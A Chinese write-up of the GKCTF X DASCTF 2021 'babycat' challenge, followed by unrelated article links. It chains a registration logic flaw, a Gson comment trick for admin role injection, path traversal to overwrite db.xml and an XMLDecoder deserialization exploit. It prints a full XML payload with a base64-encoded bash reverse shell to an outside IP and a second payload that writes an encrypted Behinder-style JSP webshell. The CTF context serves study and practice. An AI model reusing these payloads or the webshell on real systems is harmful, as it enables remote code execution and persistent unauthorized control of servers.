GKCTF X DASCTF 2021_babycat复现学习

17解的一道题,涉及到了java反序列化的知识,学习了。
看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚。

打开后是个登录框,sign up提示不让注册,这里卡了好久,以为是fastjson或jackjson的漏洞,想多了
其实只是个逻辑漏洞,直接把/login的POST包,改成/register就行了,也算是为自己打开了一个思路

登录进来发现是guest,下载文件存在任意文件下载,upload提示只能admin使用
fuzz了一堆系统环境没啥东西,然后去探测web.xml和classes,拿到源码,代码审计吧。
由于我代码审计太菜也看不出漏洞,只好去看看wp了。
漏洞点一(非预期):
在upload的dopost没验证身份,其实可以直接构造上传的,这个其实很容易看出来,但我不知道怎么利用,还是java知识太薄弱了
漏洞点二:
gson进⾏解析json时可以进行多行注释(这个trick我真不知道,谁没事用json做注释啊)
所以构造payload:
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"test"*/}
替换后 :
data={"username":"wander123","password":"12345","role":"admin"/*, "role":
"guest"*/}
这样就成功注册了admin权限用户,真tm nb啊

注册成功后回到最初的问题,上传有黑名单限制,我tm不会利用啊,看wp发现还有dao的源码没扒,真的菜啊
漏洞点三:
在com.web.dao.baseDao中有使⽤了xmldecoder
然后找触发,登录或注册会触发baseDao.getConnection();触发/db/db.xml
此时我们就有思路了,上传进行目录穿越覆盖db.xml,登录或注册触发xml反序列化漏洞。
这里filename="../../db/db.xml"
这个xmldecoder是weblogic的老漏洞了,利用方式也是一样的,不过过滤了ProcessBuilder这样原本的payload就失效了
不过在复现weblogic的漏洞时你会发现,有些特殊字符是必须进行unicode编码的,所以这里大佬直接编码一个P就绕过了,膜拜
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA+JjEn}|{b
ase64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
这里过内容检测没什么新鲜的,大家应该都会,就不说了
由于我没有vps,所以弹shell的事交给大家了,应该问题不大。
回到官方wp,出题人其实想考的更难一点,java.io.PrintWriter可以对绝对路径的文件进行写入,之前我们利用任意文件读取,可以得到绝对路径
这样就把shell写到static下就行了,其它思路一样
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void
method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java>
这里要注意一点:
xml中jsp部分一定不要带中文,最好先打好再粘贴过去,不然一直不成功,坑了我好久。
最后用冰蝎连接,执行/readflag的sh文件就行了


最后补充一下,好像如果非预期解上传jsp到web目录可以直接拿shell。
这样的话非预期解难度一下变小了,如果用预期解这道题的重点还是CVE-2017-10271利用的原理上,收获颇多。
GKCTF X DASCTF 2021_babycat复现学习的更多相关文章
- PHP-FPM 远程代码执行漏洞(CVE-2019-11043)的简单复现学习
1.概述 漏洞主要由于 PHP-FPM 中 sapi/ fpm/ fpm/ fpm_main.c 文件内的 env_path_info 下溢导致,攻击者可以使用换行符 %0a 破坏 Nginx 中 f ...
- Struct2远程命令执行漏洞(S2-053)复现学习
1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...
- Redis 4.x RCE 复现学习
攻击场景: 能够访问远程redis的端口(直接访问或者SSRF) 对redis服务器可以访问到的另一台服务器有控制权 实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执 ...
- CVE-2019-0708:RDP终极EXP复现
0x00 前言 每次复现都会遇到各种各样的问题,这次也不例外,经过多次尝试才复现成功,因此把可能的解决方法也和大家分享一下,有想要一起复现学习/投稿的可以联系我哈 0x01 影响版本 Windows ...
- 学习 bypass csp记录
最近看到一篇bypas csp的记录复现学习下 配置csp 这里直接设置html头达到配置csp的效果. Content-Security-Policy: script-src 'self' 'uns ...
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...
- 掌握AI学习路上核心理论知识,你绝对不能错过这份最全资料包
人工智能成为当下科技发展的代表之一,持续受到了不少追捧,不管你是否是这一专业的学生或者职场人,学习并掌握一项新潮技能总是不会被同龄人淘汰的.我曾经问过别人.也被别人问过关于学习人工智能(AI)最好的方 ...
- [零基础学IoT Pwn] 复现Netgear WNAP320 RCE
[零基础学IoT Pwn] 复现Netgear WNAP320 RCE 0x00 前言: 这是[零基础学IoT Pwn]的第二篇,上篇我们搭好了仿真环境后,模拟运行了Netgear WNAP320固件 ...
- gopher 协议初探
Gopher 协议初探 最近两天看到了字节脉搏实验室公众号上有一篇<Gopher协议与redis未授权访问>的文章,其中对gopher协议进行了比较详细的介绍,所以打算跟着后面复现学习一下 ...
随机推荐
- VMware vSphere 7.0 Update 2 发布 - 数据中心虚拟化和 Kubernetes 云原生应用引擎
2021 年 3 月 9 日,VMware 发布了 vSphere 7 Update 2.它可以通过 VMware Customer Connect 和 vSphere Lifecycle Manag ...
- [leetcode] 68. 文本左右对齐(国区第240位AC的~)
68. 文本左右对齐 国区第240位AC的~我还以为坑很多呢,一次过,嘿嘿,开心 其实很简单,注意题意:使用"贪心算法"来放置给定的单词:也就是说,尽可能多地往每行中放置单词. 也 ...
- 在gin框架中使用JWT
在gin框架中使用JWT JWT全称JSON Web Token是一种跨域认证解决方案,属于一个开放的标准,它规定了一种Token实现方式,目前多用于前后端分离项目和OAuth2.0业务场景下. 什么 ...
- 转载 | python inferface使用
Python中最特别的关键字之一便是pass,它放在类或函数里,表示类和函数暂不定义. class PassClass: pass def PassFun(): pass 如上实现最精简的类和函数定义 ...
- Python_Selenium之浏览器封装_去掉浏览器受到自动化控制横条显示及去掉是否记住密码弹窗
封装如下: from selenium import webdriverfrom common.config_utils import configfrom selenium.webdriver.ch ...
- 面试官就是要问我SpringMVC的源码,差点顶不住!
<对线面试官>系列目前已经连载22篇啦!有深度风趣的系列! [对线面试官]Java注解 [对线面试官]Java泛型 [对线面试官] Java NIO [对线面试官]Java反射 & ...
- 网页站点下载器teleport ultra
软件名称:teleport ultra 介绍:teleport ultra是一款专门的网页站点下载器,使用这款工具可以方便地下载网页数据,包括网站的文字.图片.flash动画等,可以轻松下载所有的网站 ...
- string大小写转换
string大小写转换 源码: 1 #include <string> 2 #include <iostream> 3 #include <algorithm> 4 ...
- TensorFlow入门实操课程第一章练习笔记
在本练习中,您将尝试构建一个神经网络,让它根据一个简单的公式来预测房屋的价格. 想象一下,如果房子的定价很简单,带一间卧室的房子价格是5万+5万,那么一间卧室的房子要花10万元:两间卧室的房子就要花1 ...
- noip模拟6[辣鸡·模板·大佬·宝藏]
这怕不是学长出的题吧 这题就很迷 这第一题吧,正解竟然是O(n2)的,我这是快气死了,考场上一直觉得aaaaa n2过不了过不了, 我就去枚举边了,然后调了两个小时,愣是没调出来,然后交了个暴力,就走 ...